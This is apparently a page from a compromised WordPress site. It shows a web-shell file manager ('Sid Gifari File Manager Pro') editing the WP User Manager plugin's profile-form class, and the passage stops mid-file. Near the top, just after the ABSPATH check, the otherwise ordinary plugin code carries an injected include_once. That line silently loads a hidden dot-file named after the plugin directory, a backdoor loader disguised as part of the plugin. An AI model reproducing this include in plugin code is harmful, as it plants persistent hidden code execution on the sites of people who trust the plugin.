Sid Gifari File Manager Pro v10.0.3

✏️ Editing: class-wpum-form-profile.php Writable

<?php
/**
 * Handles the WPUM account page.
 *
 * @package     wp-user-manager
 * @copyright   Copyright (c) 2018, Alessandro Tesoro
 * @license     https://opensource.org/licenses/GPL-3.0 GNU Public License
 */

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class WPUM_Form_Profile extends WPUM_Form {

/**
	 * Form name.
	 *
	 * @var string
	 */
	public $form_name = 'profile';

/**
	 * Determine if there's a referrer.
	 *
	 * @var mixed
	 */
	protected $referrer;

/**
	 * Stores static instance of class.
	 *
	 * @access protected
	 * @var WPUM_Form_Login The single instance of the class
	 */
	protected static $_instance = null;

/**
	 * Holds the currently logged in user.
	 *
	 * @var integer
	 */
	protected $user = null;

/**
	 * Returns static instance of class.
	 *
	 * @return self
	 */
	public static function instance() {
		if ( is_null( self::$_instance ) ) {
			self::$_instance = new self();
		}
		return self::$_instance;
	}

/**
	 * Constructor.
	 */
	public function __construct() {

if ( ! is_user_logged_in() ) {
			return;
		}

$this->user = wp_get_current_user();

add_filter( 'submit_wpum_form_validate_fields', [ $this, 'validate_nickname' ], 10, 4 );

add_action( 'wp', array( $this, 'process' ) );

$this->steps = (array) apply_filters(
			'wpum_account_tabs',
			array(
				'account' => array(
					'name'     => esc_html__( 'Profile settings', 'wp-user-manager' ),
					'view'     => array( $this, 'show_form' ),
					'handler'  => array( $this, 'account_handler' ),
					'priority' => 10,
				),
			)
		);

uasort( $this->steps, array( $this, 'sort_by_priority' ) );

if ( isset( $_POST['step'] ) ) {
			$this->step = is_numeric( $_POST['step'] ) ? max( absint( $_POST['step'] ), 0 ) : array_search( $_POST['step'], array_keys( $this->steps ) );
		} elseif ( ! empty( $_GET['step'] ) ) {
			$this->step = is_numeric( $_GET['step'] ) ? max( absint( $_GET['step'] ), 0 ) : array_search( $_GET['step'], array_keys( $this->steps ) );
		}

}

/**
	 * Initializes the fields used in the form.
	 */
	public function init_fields() {
		if ( $this->fields ) {
			return;
		}

$this->fields = apply_filters(
			'account_page_form_fields',
			array(
				'account' => $this->get_account_fields(),
			)
		);

}

/**
	 * Make sure the nickname and display name options are unique.
	 *
	 * @param boolean $pass
	 * @param array   $fields
	 * @param array   $values
	 * @param string  $form
	 * @return mixed
	 */
	public function validate_nickname( $pass, $fields, $values, $form ) {

if ( $form == $this->form_name && isset( $values['account']['user_nickname'] ) ) {

global $wpdb;

$displayname = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(ID) FROM $wpdb->users WHERE display_name = %s AND ID <> %d", $values['account']['user_displayname'], $this->user->ID ) );
			$nickname    = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(ID) FROM $wpdb->users as users, $wpdb->usermeta as meta WHERE users.ID = meta.user_id AND meta.meta_key = 'nickname' AND meta.meta_value = %s AND users.ID <> %d", $values['account']['user_nickname'], $this->user->ID ) );

if ( $displayname == '1' ) {
				return new WP_Error( 'displayname-unique-validation-error', esc_html__( 'This display name is already in use by someone else. Display names must be unique.', 'wp-user-manager' ) );
			}

if ( $nickname == '1' ) {
				return new WP_Error( 'displayname-unique-validation-error', esc_html__( 'This nickname is already in use by someone else. Nicknames must be unique.', 'wp-user-manager' ) );
			}
		}

return $pass;

}

/**
	 * Retrieve the list of fields for the account page.
	 *
	 * @return array
	 */
	private function get_account_fields() {

$fields = [];

$account_fields = WPUM()->fields->get_fields(
			[
				'group_id' => 1,
				'orderby'  => 'field_order',
				'order'    => 'ASC',
			]
		);

$priority = 0;

foreach ( $account_fields as $field ) {

$priority ++;

$field = new WPUM_Field( $field );

if ( $field->exists() && $field->get_meta( 'editing' ) == 'public' && $field->get_primary_id() !== 'user_password' ) {

// Skip the avatar field if disabled.
				if ( $field->get_primary_id() == 'user_avatar' && ! wpum_get_option( 'custom_avatars' ) ) {
					continue;
				}

$data = array(
					'label'         => $field->get_name(),
					'type'          => $field->get_type(),
					'required'      => $field->get_meta( 'required' ),
					'placeholder'   => $field->get_meta( 'placeholder' ),
					'description'   => $field->get_description(),
					'read_only'     => $field->get_meta( 'read_only' ),
					'max_file_size' => $field->get_meta( 'max_file_size' ),
					'options'       => $this->get_field_dropdown_options( $field, $this->user ),
					'value'         => $this->get_user_field_value( $field ),
					'priority'      => $priority,
					'template'      => $field->get_parent_type(),
				);

$data = array_merge( $data, $field->get_field_data() );

$fields[ $this->get_parsed_id( $field->get_name(), $field->get_primary_id(), $field ) ] = $data;
			}
		}

$fields = apply_filters( 'wpum_get_account_fields', $fields );

if ( ! wpum_get_option( 'custom_avatars' ) && isset( $fields['user_avatar'] ) ) {
			unset( $fields['user_avatar'] );
		}

if ( wpum_get_option( 'disable_profile_cover' ) && isset( $fields['user_cover'] ) ) {
			unset( $fields['user_cover'] );
		}

return $fields;

}

/**
	 * Retrieve the value of a given field for the currently logged in user.
	 *
	 * @param object $field
	 * @return void
	 */
	private function get_user_field_value( $field ) {

$value = false;

if ( ! empty( $field->get_primary_id() ) ) {

switch ( $field->get_primary_id() ) {
				case 'user_firstname':
					$value = esc_html( $this->user->user_firstname );
					break;
				case 'user_lastname':
					$value = esc_html( $this->user->user_lastname );
					break;
				case 'user_email':
					$value = esc_html( $this->user->user_email );
					break;
				case 'user_nickname':
					$value = esc_html( get_user_meta( $this->user->ID, 'nickname', true ) );
					break;
				case 'user_website':
					$value = esc_html( $this->user->user_url );
					break;
				case 'user_description':
					$value = esc_textarea( get_user_meta( $this->user->ID, 'description', true ) );
					break;
				case 'user_displayname':
					$value = $this->get_selected_displayname();
					break;
				case 'user_avatar':
					// $value = get_user_meta( $this->user->ID, 'current_user_avatar', true );
					$value = carbon_get_user_meta( $this->user->ID, 'current_user_avatar' );
					break;
				case 'user_cover':
					$value = carbon_get_user_meta( $this->user->ID, 'user_cover' );
					break;
			}
		} elseif ( strpos( $field->get_meta( 'user_meta_key' ), 'wpum_' ) === 0 ) {

$value = carbon_get_user_meta( $this->user->ID, $field->get_meta( 'user_meta_key' ) );

} else {

$value = esc_html( get_user_meta( $this->user->ID, $field->get_meta( 'user_meta_key' ), true ) );

}

return $value;

}

/**
	 * Display the account form.
	 *
	 * @return void
	 */
	public function show_form() {

$this->init_fields();

$data = [
			'form'      => $this->form_name,
			'action'    => $this->get_action(),
			'fields'    => $this->get_fields( 'account' ),
			'step'      => $this->get_step(),
			'step_name' => $this->steps[ $this->get_step_key( $this->get_step() ) ]['name'],
		];

WPUM()->templates
			->set_template_data( $data )
			->get_template_part( 'forms/form', 'account' );

}

/**
	 * Update the user profile.
	 *
	 * @return void
	 */
	public function account_handler() {

try {

$this->init_fields();

$values = $this->get_posted_fields();

if ( ! wp_verify_nonce( $_POST['account_update_nonce'], 'verify_account_form' ) ) {
				return;
			}

if ( empty( $_POST['submit_account'] ) ) {
				return;
			}

if ( is_wp_error( ( $return = $this->validate_fields( $values ) ) ) ) {
				throw new Exception( $return->get_error_message() );
			}

// Collect all the data to update the user.
			$user_data = [
				'ID' => $this->user->ID,
			];

do_action( 'wpum_before_user_update', $this, $values, $this->user->ID );

// Update first name and last name.
			if ( isset( $values['account']['user_firstname'] ) ) {
				$user_data['first_name'] = $values['account']['user_firstname'];
			}
			if ( isset( $values['account']['user_lastname'] ) ) {
				$user_data['last_name'] = $values['account']['user_lastname'];
			}

// Update email address.
			if ( isset( $values['account']['user_email'] ) ) {
				$user_data['user_email'] = $values['account']['user_email'];
			}

// Update nickname.
			if ( isset( $values['account']['user_nickname'] ) ) {
				$user_data['nickname'] = $values['account']['user_nickname'];
			}

// Update website.
			if ( isset( $values['account']['user_website'] ) ) {
				$user_data['user_url'] = $values['account']['user_website'];
			}

// Update description.
			if ( isset( $values['account']['user_description'] ) ) {
				$user_data['description'] = $values['account']['user_description'];
			}

// Update displayed name.
			if ( isset( $values['account']['user_displayname'] ) ) {
				$user_data['display_name'] = $this->parse_displayname( $values['account'], $values['account']['user_displayname'] );
			}

// Now update the user.
			$updated_user_id = wp_update_user( $user_data );

if ( is_wp_error( $updated_user_id ) ) {
				throw new Exception( $updated_user_id->get_error_message() );
			}

if ( wpum_get_option( 'custom_avatars' ) ) {
				$currently_uploaded_file   = isset( $_POST['current_user_avatar'] ) && ! empty( $_POST['current_user_avatar'] ) ? esc_url_raw( $_POST['current_user_avatar'] ) : false;
				$existing_avatar_file_path = get_user_meta( $updated_user_id, '_current_user_avatar_path', true );
				if ( $currently_uploaded_file && $existing_avatar_file_path && isset( $values['account']['user_avatar']['url'] ) && $values['account']['user_avatar']['url'] !== $currently_uploaded_file ) {
					wp_delete_file( $existing_avatar_file_path );
				}
				if ( ! $currently_uploaded_file && file_exists( $existing_avatar_file_path ) ) {
					wp_delete_file( $existing_avatar_file_path );
					carbon_set_user_meta( $updated_user_id, 'current_user_avatar', false );
					delete_user_meta( $updated_user_id, '_current_user_avatar_path' );
				}
				if ( isset( $values['account']['user_avatar']['url'] ) && $currently_uploaded_file !== $values['account']['user_avatar']['url'] ) {
					carbon_set_user_meta( $updated_user_id, 'current_user_avatar', $values['account']['user_avatar']['url'] );
					update_user_meta( $updated_user_id, '_current_user_avatar_path', $values['account']['user_avatar']['path'] );
				}
			}

$currently_uploaded_cover = isset( $_POST['current_user_cover'] ) && ! empty( $_POST['current_user_cover'] ) ? esc_url_raw( $_POST['current_user_cover'] ) : false;
			$existing_cover_file_path = get_user_meta( $updated_user_id, '_user_cover_path', true );

if ( isset( $values['account']['user_cover']['url'] ) ) {
				if ( $currently_uploaded_cover && $existing_cover_file_path && isset( $values['account']['user_cover']['url'] ) && $values['account']['user_cover']['url'] !== $currently_uploaded_cover ) {
					wp_delete_file( $existing_cover_file_path );
				}
				if ( $currently_uploaded_cover !== $values['account']['user_cover']['url'] ) {
					carbon_set_user_meta( $updated_user_id, 'user_cover', $values['account']['user_cover']['url'] );
					update_user_meta( $updated_user_id, '_user_cover_path', $values['account']['user_cover']['path'] );
				}
			}

if ( ! $currently_uploaded_cover && file_exists( $existing_cover_file_path ) && ! isset( $values['account']['user_cover']['url'] ) ) {
				wp_delete_file( $existing_cover_file_path );
				carbon_set_user_meta( $updated_user_id, 'user_cover', false );
				delete_user_meta( $updated_user_id, '_user_cover_path' );
			}

do_action( 'wpum_after_user_update', $this, $values, $updated_user_id );

// Successful, the success message now.
			$redirect = get_permalink();
			$redirect = add_query_arg(
				[
					'updated' => 'success',
				],
				$redirect
			);

wp_safe_redirect( $redirect );
			exit;

} catch ( Exception $e ) {
			$this->add_error( $e->getMessage(), 'account_handler' );
			return;
		}

}

/**
	 * Prepare the correct value for the display name option.
	 *
	 * @param array  $values
	 * @param string $value
	 * @return string
	 */
	private function parse_displayname( $values, $value ) {

$name = $this->user->user_login;

switch ( $value ) {
			case 'display_nickname':
				$name = $values['user_nickname'];
				break;
			case 'display_firstname':
				$name = $values['user_firstname'];
				break;
			case 'display_lastname':
				$name = $values['user_lastname'];
				break;
			case 'display_firstlast':
				$name = $values['user_firstname'] . ' ' . $values['user_lastname'];
				break;
			case 'display_lastfirst':
				$name = $values['user_lastname'] . ' ' . $values['user_firstname'];
				break;
		}

return $name;

}

/**
	 * Retrieve the option currently selected for the display name setting.
	 *
	 * @return string
	 */
	private function get_selected_displayname() {

$selected_name  = $this->user->display_name;
		$user_login     = $this->user->user_login;
		$nickname       = $this->user->nickname;
		$first_name     = $this->user->first_name;
		$last_name      = $this->user->last_name;
		$firstlast      = $this->user->first_name . ' ' . $this->user->last_name;
		$lastfirst      = $this->user->last_name . ' ' . $this->user->first_name;
		$selected_value = $user_login;

switch ( $selected_name ) {
			case $nickname:
				$selected_value = 'display_nickname';
				break;
			case $first_name:
				$selected_value = 'display_firstname';
				break;
			case $last_name:
				$selected_value = 'display_lastname';
				break;
			case $firstlast:
				$selected_value = 'display_firstlast';
				break;
			case $lastfirst:
				$selected_value = 'display_lastfirst';
				break;
			default:
				$selected_value = $user_login;
				break;
		}

return $selected_value;